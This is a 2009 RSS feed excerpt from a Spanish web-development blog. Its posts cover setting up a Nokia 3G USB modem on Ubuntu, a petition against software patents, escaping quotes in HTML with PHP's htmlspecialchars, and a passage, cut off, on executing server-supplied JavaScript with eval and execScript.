reconocer el stick como MODEM&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;El primer problema es que al introducir el modem USB en la PC es reconocido como unidad de almacenamiento de tipo CD-ROM, porque este Stick contiene una pequeña memoria fija de 80Mb con software para Windows.&lt;br /&gt;&lt;br /&gt;Después de leer en innumerables blogs y foros las más variopintas formas de "evitar" que Ubuntu reconozca al stick como memoria en lugar de cómo modem, descubrí ACCIDENTALMENTE (sí, sí... accidentalmente) que la solución al problema es SENCILLÍSIMA:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);"&gt;1. introduce el stick en la ranura USB&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);"&gt;2. ubuntu te lo reconoce como unidad de CD-ROM y lo monta &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);"&gt;3. te habrá aparecido un icono en el Escritorio o en Nautilus que se llama "Nokia modem", pero que no muestra ningún archivo (curiosamente no se ven los archivos que contiene... cosa que no entiendo ¿? porque en Windows se ven sin problema)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);"&gt;4. haz clic sobre el icono con el botón secundario del mouse y escoge la opción "EXPULSAR".&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);"&gt;5. "mágicamente" verás como la "unidad" es "desmontada" y PLIS: se enciende de forma intermitente una luz naranja en el modem, bingo !! tu modem acaba de ser reconocido y activado!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Es importante que destaque que no sirve solamente "desmontar" la unidad. Eso lo estuve haciendo repetidas veces pero no servía para que el modem fuera detectado. Esto no sucedió hasta que no escogí la opción "expulsar" (increible, no?).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 153);"&gt;Segundo problema: configurar la &lt;/span&gt;&lt;img src="http://www.blogger.com/post-edit.g?blogID=4714735783718459057&amp;amp;postID=580568948619972290" height="1" width="1" /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 153);"&gt;conexión con Telcel&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Una vez reconocido el modem como tal, el segundo y último paso es configurar la conexión con Telcel. Lo cuál es sencillo para versiones de Ubuntu a partir de la 8.10 en adelante, porque el Network Manager lleva un asistente para conexiones de "banda ancha móvil".&lt;br /&gt;&lt;br /&gt;Si tienes una versión de Ubuntu anterior a la 8.10 (en mi caso en mi netbook tenía Ubuntu Remix basado en la 8.04), tampoco debes preocuparte, solamente tienes que actualizar tu Network manager:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);"&gt;1. debes añadir a tus orígenes de software los siguientes repositorios:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;deb http://ppa.launchpad.net/network-manager/ubuntu hardy main&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;deb-src http://ppa.launchpad.net/network-manager/ubuntu hardy main&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);"&gt;puedes hacerlo editando directamente el archivo que contiene la lista de repositorios&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;sudo gedit /etc/apt/sources.list&lt;/span&gt; &lt;span style="color: rgb(51, 102, 102);"&gt;(usa este comando desde la consola)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);"&gt;o bien abrir la aplicación "Gestor de paquetes Synaptic" (En Sistema / Administración) y allí ir al menú Configuración / Repositorios y en la pestaña "Software de terceros" puedes "Añadir" nuevos repositorios.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);"&gt;2. añade también la clave pública para estos repositorios. Para ello ejecuta en la consola este comando:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;sudo aptitude update&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);"&gt;y te va a dar un error porque le falta la clave pública del repositorio que acabamos de añadir. Te has de fijar bien en el mensaje de error que te aparezca, que será del tipo:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;W: GPG error: http://ppa.launchpad.net intrepid Release: Las firmas siguientes no se pudieron verificar porque su llave pública no está disponible: NO_PUBKEY &lt;span style="font-weight: bold; color: rgb(204, 0, 0);"&gt;5DC4E17435661D98&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);"&gt;entonces ejecuta este otro comando:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;gpg --keyserver subkeys.pgp.net --recv &lt;span style="color: rgb(153, 0, 0); font-weight: bold;"&gt;NO_PUBKEY&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);"&gt;en donde en lugar de NO_PUBKEY has de escribir tu clave (en mi ejemplo: 5DC4E17435661D98), y entonces la consola te devolverá algo como esto:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;gpg: solicitando clave 35661D98 de hkp servidor subkeys.pgp.net&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;gpg: /home/ubuntu/.gnupg/trustdb.gpg: se ha creado base de datos de confianza&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;gpg: clave 35661D98: clave pública "Launchpad PPA for GNOME Do Testers" importada&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;gpg: Cantidad total procesada: 1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;gpg: importadas: 1 (RSA: 1)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);"&gt;a continuación ejecuta este otro comando:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;gpg --armor --export 5DC4E17435661D98 | sudo apt-key add -&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);"&gt;(obviamente escribiendo tu NO_PUBKEY), y si todo va bien la consola te devolverá un "&lt;span style="color: rgb(255, 0, 0);"&gt;Ok!&lt;/span&gt;".&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);"&gt;3. desde consola actualiza el paquete de tu network manager:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;sudo aptitude install network-manager&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);"&gt;4. una vez actualizado, cargar el "gestor de actualizaciones" desde el menú del Escritorio (Sistema / Administración), y te detectará que puede actualizar 3 paquetes relacionados con el network-manager, dos de ellos justamente relacionados con las conexiones móviles, como una base de datos con las características de los diferentes operadores telefónicos de una gran lista de países ;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);"&gt;5. por último, aunque no es necesario, te recomiendo que reinicies la computadora&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bueno, así que suponiendo que ya tengas bien actualizado tu Network Manager, el resto es muuuuy fácil:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);"&gt;1. haz clic con el botón secundario del ratón sobre del pequeño icono del gestor de redes que hay en tu barra (panel systray) junto al reloj y la fecha (normalmente).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);"&gt;2. escoge la opción "editar las conexiones"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);"&gt;3. ves a la pestaña "Banda ancha móvil" y haz clic en el botón "Añadir"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);"&gt;4. si tienes la versión actualizada del network manager se habrá iniciado un "asistente" que te va a guiar en el proceso de creación de la conexión móvil a internet. Además te va a preguntar por el país y te va a mostrar los operadores telefónicos para los que tiene datos en ese país. Tú deja todas las opciones de conexión que ponga el asistente, no hace falta que toques nada (al menos en el caso de Telcel-México). Como mucho, marca la casilla que pone: "Conectar automáticamente", porque así Ubuntu se conectará a esa red móvil en cuanto enchufes el modem USB 3G ;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);"&gt;5. ya solo tienes que encajar tu stick en la ranura USB y tiene que funcionar! en todo caso, si ya lo tenías puesto, tendrás tal vez que retirarlo y volver a seguir los pasos del inicio ("expulsarlo" una vez sea reconocido por ubuntu como CD-ROM). O si eso no te va bien, mejor reinicia de nuevo la compu :( he experimentado que si introduzco y extraigo el modem USB más de una vez en una misma sesión, no siempre es reconocido adecuadamente ;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Bueno, espero que estos consejos hayan servido a más de uno... espero que a muchos!!! lo más chistoso del tema es que acabo de recibir la respuesta del servicio de apoyo al cliente de Nokia (les pregunté sobre cómo usar sus modems USB en Linux), y lo único que dicen (me han respondido 2 personas diferentes) es la "ODIOSA" letanía de "Le recordamos que tal como puede leer en la página web de especificaciones del CS-10, este equipo solo es compatible con el sistema operativo Windows o Mac Os". ¿Increible, no? En fin, una vez publicado esta breve guía se la voy a enviar en respuesta a su "estúpida" respuesta de "ayuda". Porque además, cuando les escribí pidiendo ayuda les explicité que lo único que necesito es que me dieran un link en donde poder leer ALGO de documentación de como instalar en Linux alguno de sus modems USB 3G que SÍ SON COMPATIBLES CON LINUX (a partir de la CS-15). En fin...&lt;br /&gt;&lt;br /&gt;Por cierto, si alguno/a de vosotros no conoce aún Ubuntu... le recomiendo que lo pruebe! lo recomiendo como usuario y como programador. Como veis, es un software totalmente ya maduro para el trabajo de los profesionales de la informática ;)&lt;br /&gt;&lt;br /&gt;Un saludo,&lt;br /&gt;SERGI</description><link>http://crear-paginas-web.blogspot.com/2009/09/modem-3g-nokia-cs-10-en-ubuntu.html</link><author>noreply@blogger.com (Usher web)</author><thr:total>42</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-4714735783718459057.post-8062948287875134198</guid><pubDate>Mon, 06 Jul 2009 18:56:00 +0000</pubDate><atom:updated>2009-07-06T12:10:07.814-07:00</atom:updated><title>Di NO a las PATENTES DE SOFTWARE</title><description>&lt;p style="color:#0c0;"&gt;Actualmente (2008-2009) se está desarrollando una campaña de recogida de firmas para solicitar al Parlamento Europeo medidas más contundentes que erradiquen de una vez por todas las patentes de software en Europa. Te invito a que te informes de porqué este cambio nos conviene no sólo a los informáticos, sino también a la industria del software en general y de forma indirecta a toda la sociedad. Mientras que las patentes sólo benefician el "lucro" a corto plazo de un número contado de empresas y retrasan enormemente la competitividad y el progreso del sector informático, y de rebote de toda la sociedad!&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Te invito pues a:&lt;/p&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;Visitar &lt;a href="http://petition.stopsoftwarepatents.eu/211002065663/" target="_blank"&gt;la página oficial de recogida de firmas&lt;/a&gt;.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Dejar allí tu firma y leer alguno de los estudios científicos que hay en torno al tema&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Divulgar este asunto, colocando un banner en algunas de tus webs ;)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Incluir un artículo en tu blog&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;Banners&lt;/h4&gt;&lt;br /&gt;&lt;p&gt;Para que lo tengas más fácil, aquí te dejo el código para insertar un banner horizontal y otro vertical:&lt;/p&gt;&lt;br /&gt;&lt;div style="background-color:#eee;border:1px #ccc solid;padding:11px;"&gt;&amp;lt;a target=&amp;quot;_blank&amp;quot; href=&amp;quot;http://petition.stopsoftwarepatents.eu/211002065663/&amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;http://stopsoftwarepatents.eu/media/ssp-732-121.gif&amp;quot; alt=&amp;quot;stopsoftwarepatents.eu petition banner&amp;quot; width=&amp;quot;580&amp;quot; height=&amp;quot;96&amp;quot; style=&amp;quot;border:none;&amp;quot; /&amp;gt;&amp;lt;/a&amp;gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align:center;"&gt;&lt;br /&gt; &lt;a target="_blank" href="http://petition.stopsoftwarepatents.eu/211002065663/"&gt;&lt;img src="http://stopsoftwarepatents.eu/media/ssp-732-121.gif" alt="stopsoftwarepatents.eu petition banner" width="580" height="96" style="border:none;" /&gt;&lt;/a&gt; &lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="background-color:#eee;border:1px #ccc solid;padding:11px;"&gt;&amp;lt;a target=&amp;quot;_blank&amp;quot; href=&amp;quot;http://petition.stopsoftwarepatents.eu/211002065663/&amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;http://petition.stopsoftwarepatents.eu/banner/211002065663/ssp-240-400.gif&amp;quot; alt=&amp;quot;stopsoftwarepatents.eu petition banner&amp;quot; width=&amp;quot;240&amp;quot; height=&amp;quot;400&amp;quot; style=&amp;quot;border:none;&amp;quot; /&amp;gt;&amp;lt;/a&amp;gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align:center;"&gt;&lt;br /&gt; &lt;a target="_blank" href="http://petition.stopsoftwarepatents.eu/211002065663/"&gt;&lt;img src="http://petition.stopsoftwarepatents.eu/banner/211002065663/ssp-240-400.gif" alt="stopsoftwarepatents.eu petition banner" width="240" height="400" style="border:none;" /&gt;&lt;/a&gt; &lt;br /&gt;&lt;/div&gt;</description><link>http://crear-paginas-web.blogspot.com/2009/07/di-no-las-patentes-de-software.html</link><author>noreply@blogger.com (Usher web)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-4714735783718459057.post-5016950742537406549</guid><pubDate>Mon, 08 Jun 2009 20:17:00 +0000</pubDate><atom:updated>2010-11-15T11:58:42.891-07:00</atom:updated><title>Comillas dobles y simples en HTML "input text"</title><description>&lt;span style="color: rgb(0, 153, 0);"&gt;Si eres desarrollador de aplicaciones web, sabrás ya que el tema de las comillas (simples y dobles) es siempre una fuente de problemas hasta que no descubres cómo lidiar con ellas. Voy a resumir ahora cuatro cosas que te van a funcionar siempre ;) si trabajas con PHP.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;El problema principal es cuando queremos definir una cadena de texto que contenga unas comillas. Es un problema en sí mismo porque las cadenas de texto generalmente se delimitan usando comillas.&lt;br /&gt;&lt;br /&gt;Uno pensaría que sería posible insertar comillas en una cadena de texto "escapando" esas comillas, es decir, usando un símbolo de "escape" (usualmente es la barra invertida \) delante de las comillas a escapar. Por ejemplo:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&amp;lt;input type='text' value='L\'Hospitalet' /&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;o bien:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&amp;lt;input type="text" value="un \"gran\" hombre" /&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;sin embargo, si haces la prueba, verás que ninguno de estos "escapes" funciona !!!!&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Para incluir comillas dobles dentro de comillas dobles en HTML, tenemos que usar "carácteres especiales"&lt;/b&gt;, así:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&amp;lt;input type="text" value="un &amp;amp;quot;gran&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;quot;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt; hombre" /&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;La última cuestión es cómo hacer todo esto de manera fácil en PHP. Esto sería un ejemplo de cómo generar desde PHP el código HTML anterior suponiendo que la variable &lt;span style="color: rgb(51, 51, 255);"&gt;$value&lt;/span&gt; contenga una cadena con comillas dobles como &lt;span style="color: rgb(51, 51, 255);"&gt;un "gran" hombre&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&amp;lt;?php&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;echo&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;"&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;lt;input type=\"text\" value=\"&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;.htmlspecialchars(&lt;/span&gt;$value&lt;span style="color: rgb(0, 153, 0);"&gt;).&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;\" /&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;";&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;?&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Como puedes suponer, la función &lt;span style="color: rgb(0, 0, 153);"&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;htmlspecialchars &lt;/span&gt;&lt;/span&gt;transforma las comillas dobles (") en el código &lt;span style="color: rgb(0, 153, 0);"&gt;&amp;amp;quot;&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;De hecho, &lt;span style="color: rgb(0, 153, 0);"&gt;htmlspecialchars &lt;/span&gt; transforma no solo las comillas dobles sino este pequeño grupo de carácteres:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt; &lt;li&gt;[&lt;span style="color: #ff0000;"&gt;&lt;b&gt;&amp;amp;&lt;/b&gt;&lt;/span&gt;] (ampersand) se transforma en [&lt;span style="color: #ff0000;"&gt;&lt;b&gt;&amp;amp;amp;&lt;/b&gt;&lt;/span&gt;]&lt;/li&gt;&lt;br /&gt; &lt;li&gt;[&lt;span style="color: #ff0000;"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/span&gt;] (comillas dobles) se transforman en [&lt;span style="color: #ff0000;"&gt;&lt;b&gt;&amp;amp;quot;&lt;/b&gt;&lt;/span&gt;] cuando no se usa ENT_NOQUOTES como segundo parámetro (opcional!).&lt;/li&gt;&lt;br /&gt; &lt;li&gt;[&lt;span style="color: #ff0000;"&gt;&lt;b&gt;&amp;#039;&lt;/b&gt;&lt;/span&gt;] (comilla simple) se transforma en [&lt;span style="color: #ff0000;"&gt;&lt;b&gt;&amp;amp;#039;&lt;/b&gt;&lt;/span&gt;] &lt;b&gt;solamente&lt;/b&gt; cuando se usa ENT_QUOTES&lt;/li&gt;&lt;br /&gt; &lt;li&gt;[&lt;span style="color: #ff0000;"&gt;&lt;b&gt;&amp;lt;&lt;/b&gt;&lt;/span&gt;] (menor que) se transforma en [&lt;span style="color: #ff0000;"&gt;&lt;b&gt;&amp;amp;lt;&lt;/b&gt;&lt;/span&gt;]&lt;/li&gt;&lt;br /&gt; &lt;li&gt;[&lt;span style="color: #ff0000;"&gt;&lt;b&gt;&amp;gt;&lt;/b&gt;&lt;/span&gt;] (mayor que) se transforma en [&lt;span style="color: #ff0000;"&gt;&lt;b&gt;&amp;amp;gt;&lt;/b&gt;&lt;/span&gt;]&lt;/li&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;No olvides que de una forma u otra, cuando se envían por POST variables que contienen comillas (dobles o sencillas) estás llegan &lt;b&gt;escapadas&lt;/b&gt; con una barra&lt;br /&gt;diagonal delante [&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;b&gt;\&lt;/b&gt;&lt;/span&gt;] ("slash" en inglés) y que eliminamos con el PHP usando la función &lt;span style="color: rgb(0, 153, 0);"&gt;stripslashes()&lt;/span&gt; a cada variable &lt;span style="color: rgb(153, 0, 0);"&gt;$_POST()&lt;/span&gt; que pudiera contener comillas &lt;br /&gt;de algún tipo!&lt;br /&gt;&lt;br /&gt;En este enlace podéis ver &lt;a href='http://imasdeweb.com/documentos/BLOG/comillas.php' target='_blank'&gt;un ejemplo de cómo usar &lt;b&gt;htmlspecialchars()&lt;/b&gt;&lt;/a&gt; y lo explicado &lt;br /&gt;en este artículo. Jugad con diferentes carácteres y &lt;b&gt;mirad el código HTML&lt;/b&gt; de la página antes y después de enviar datos.  &lt;br /&gt;&lt;br /&gt;De todas formas:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;posiblemente se me escapa algo, pues continuamente salen cosas nuevas o uno descubre nuevos "trucos"&lt;/li&gt;&lt;li&gt;existen artículos mucho más extendidos y con más ejemplos. Éste me gustó particularmente para gente que se incia en PHP, pues da un repaso más a fondo del uso de comillas en este lenguaje de programación: http://www.dxpro.es/index.php?topic=181.0&lt;/li&gt;&lt;li&gt;si detectas que he cometido algún error en mis ejemplos o en mi explicación, please, comenta aquí abajo y lo corregiré para ayuda de otros :)) Gracias!&lt;/li&gt;&lt;/ul&gt;Un saludo!&lt;br /&gt;SERGI</description><link>http://crear-paginas-web.blogspot.com/2009/06/comillas-dobles-y-simples-en-html-input.html</link><author>noreply@blogger.com (Usher web)</author><thr:total>13</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-4714735783718459057.post-1363616533810187838</guid><pubDate>Thu, 28 May 2009 04:04:00 +0000</pubDate><atom:updated>2012-03-06T21:52:29.286-07:00</atom:updated><title>Cargar javascript desde JSON o AJAX con eval() en FF y execScript() en IE</title><description>&lt;span style="color: #009900; font-style: italic;"&gt;¿Estás desarrollando una aplicación web en la que usas JSON o AJAX para cargar dinámicamente datos? ¿Además necesitas cargar dinámicamente no solamente datos sino también código javascript para ser utilizado en la página? A continuación te expongo el modo de hacerlo para que funcione en FireFox 3.X y IE7 (casualmente, también funciona en IE6).&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Voy a partir de la base de que utilizas jQuery para la consulta JSON o AJAX al servidor. Y me voy a centrar en la "carga" del código javascript. Pero obviamente, no importa la librería o código que uses para el JSON o AJAX. Hay muchísima literatura en internet sobre ese tema.&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;Ejemplo de carga de datos&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Empezaré con un ejemplo de carga de datos tipo texto, que es lo más habitual. Y luego pondré un ejemplo de carga de código javascript.&lt;br /&gt;
&lt;br /&gt;
&lt;div style="background-color: #eeeeee; border: 1px solid rgb(204, 204, 204); font-family: tahoma,sans-serif; font-size: 12px; padding: 11px;"&gt;
&lt;br /&gt;
function js_actualizar_top_webs(){&lt;br /&gt;
&lt;span style="margin-left: 15px;"&gt;&lt;/span&gt;var url_json = 'json_top_webs.php?mes='+$('#select_mes').val();&lt;br /&gt;
&lt;span style="margin-left: 15px;"&gt;&lt;/span&gt;$.getJSON(&lt;br /&gt;
&lt;span style="margin-left: 30px;"&gt;&lt;/span&gt;  url_json,&lt;br /&gt;
&lt;span style="margin-left: 30px;"&gt;&lt;/span&gt;  function(datos){&lt;br /&gt;
&lt;span style="color: #cc0000; margin-left: 45px;"&gt;          $('#div_top_webs').html(datos.table_webs);&lt;/span&gt;&lt;br /&gt;
&lt;span style="margin-left: 30px;"&gt;&lt;/span&gt;  }&lt;br /&gt;
&lt;span style="margin-left: 15px;"&gt;&lt;/span&gt; );&lt;br /&gt;
}&lt;/div&gt;
&lt;br /&gt;
Imaginemos que en nuestra web de ejemplo tenemos un control tipo lista desplegable (select) que permite al usuario escoger un mes del año, y queremos que nuestra página recargue un &lt;span style="color: #cc0000;"&gt;&amp;lt;div id="'div_top_webs'"&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt; con la lista del top 10 de webs de ese mes. Es un ejemplo clásico de recarga de datos dinámica usando JSON o AJAX.&lt;br /&gt;
&lt;br /&gt;
Para ello construimos una función llamada &lt;span style="color: #000099;"&gt;js_actualizar_top_webs&lt;/span&gt;, que llamaremos al cambiar el valor de ese select. Esta función tal como está definida en el código de ejemplo hace una llamada JSON mediante el objeto $ de jQuery y cuando los datos se hayan recibido por completo ejecutará el código en rojo, en dónde "&lt;span style="color: #cc0000;"&gt;datos&lt;/span&gt;" es un objeto de javascript (no un array!!) que contiene diferentes "propiedades" con los datos enviados. En este caso, suponemos que el archivo de PHP que ha sido llamado devuelve un string llamado "&lt;span style="color: #000099;"&gt;table_webs&lt;/span&gt;" que contiene el código HTML de un "&lt;span style="color: #000099;"&gt;&amp;lt;table&amp;gt;&lt;/span&gt;" con la lista de webs que queremos mostrar.&lt;br /&gt;
&lt;br /&gt;
Para "obtener" el valor de ese string HTML simplemente llamamos a &lt;span style="color: #cc0000;"&gt;datos.table_webs&lt;/span&gt; y lo colocamos como "contenido" de "&lt;span style="color: #cc0000;"&gt;div_top_webs&lt;/span&gt;" mediante el método&lt;span style="color: #cc0000;"&gt; .html()&lt;/span&gt; de jQuery. ¿Sencillo, no?&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Ejemplo de carga de código javascript&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Bueno, vamos ahora a algo que "cuesta" un poquitín más. Bueno, de hecho a mí me ha hecho gastar casi 8 horas de cansada búsqueda por internet y de leer mucho y probar mucho, hasta llegar a lo que te voy a poner aquí! ;)&lt;br /&gt;
&lt;br /&gt;
Abajo tienes el código anterior ligeramente cambiado: hemos añadido unas líneas de código más, con el fin de poder cargar y ejecutar un código de javascript elaborado en el lado servidor.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style="background-color: #eeeeee; border: 1px solid rgb(204, 204, 204); font-family: tahoma,sans-serif; font-size: 12px; padding: 11px;"&gt;
&lt;br /&gt;
function js_actualizar_top_webs(){&lt;br /&gt;
&lt;span style="margin-left: 15px;"&gt;&lt;/span&gt;var url_json = 'json_top_webs.php?mes='+$('#select_mes').val();&lt;br /&gt;
&lt;span style="margin-left: 15px;"&gt;&lt;/span&gt;$.getJSON(&lt;br /&gt;
&lt;span style="margin-left: 30px;"&gt;&lt;/span&gt;  url_json,&lt;br /&gt;
&lt;span style="margin-left: 30px;"&gt;&lt;/span&gt;  function(datos){&lt;br /&gt;
&lt;span style="color: #0000cc; margin-left: 45px;"&gt;          $('#div_top_webs').html(datos.table_webs);&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: #cc0000; margin-left: 45px;"&gt;          if (window.execScript) window.execScript(datos.script_leyenda);&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: #cc0000; margin-left: 45px;"&gt;else window.eval(datos.script_leyenda);&lt;/span&gt;&lt;br /&gt;
&lt;span style="margin-left: 30px;"&gt;&lt;/span&gt;  }&lt;br /&gt;
&lt;span style="margin-left: 15px;"&gt;&lt;/span&gt; );&lt;br /&gt;
}&lt;/div&gt;
&lt;br /&gt;
Puedes ver en rojo dos nuevas líneas que corresponden a una sentencia condicional, y esto es necesario para ejecutar un código u otro según estemos en FireFox o en Internet Explorer (como mínimo estos dos navegadores). Para ambos casos el código de javascript pasado es el mismo y lo recuperamos de nuevo mediante jQuery con la propiedad &lt;span style="color: #cc0000;"&gt;datos.script_leyenda&lt;/span&gt; (que habremos rellenado desde el PHP con el código javascript que necesitemos ejecutar en nuestra web).&lt;br /&gt;
&lt;br /&gt;
La diferencia radica en que &lt;b&gt;Internet Explorer ejecutará el código de javascript mediante el método &lt;span style="color: #cc0000;"&gt;window.execScript()&lt;/span&gt;&lt;/b&gt;, mientras que &lt;b&gt;FireFox ejecutará el código al usar el método &lt;span style="color: #cc0000;"&gt;window.eval()&lt;/span&gt;&lt;/b&gt;, en ambos casos pasando como argumento el código javascript que queremos ejecutar.&lt;br /&gt;
&lt;br /&gt;
Otro aspecto importante y que tal vez pase desapercibido a primera vista es que en ambos casos ejecutamos sendos métodos sobre el objeto &lt;span style="color: #cc0000;"&gt;window&lt;/span&gt;. Eso es fundamental (me llevó más de una hora leyendo descubrirlo), para que el código javascript a ejecutar pase a estar "disponible" desde otros "ámbitos" de la misma página. De esta forma, si por ejemplo, dentro de ese código cargado dinámicamente definimos una función llamada "&lt;span style="color: #cc0000;"&gt;js_mostrar_leyenda()&lt;/span&gt;", si queremos usarla en el resto de la página, deberemos llamarla así: &lt;span style="color: #cc0000;"&gt;window.js_mostrar_leyenda();&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
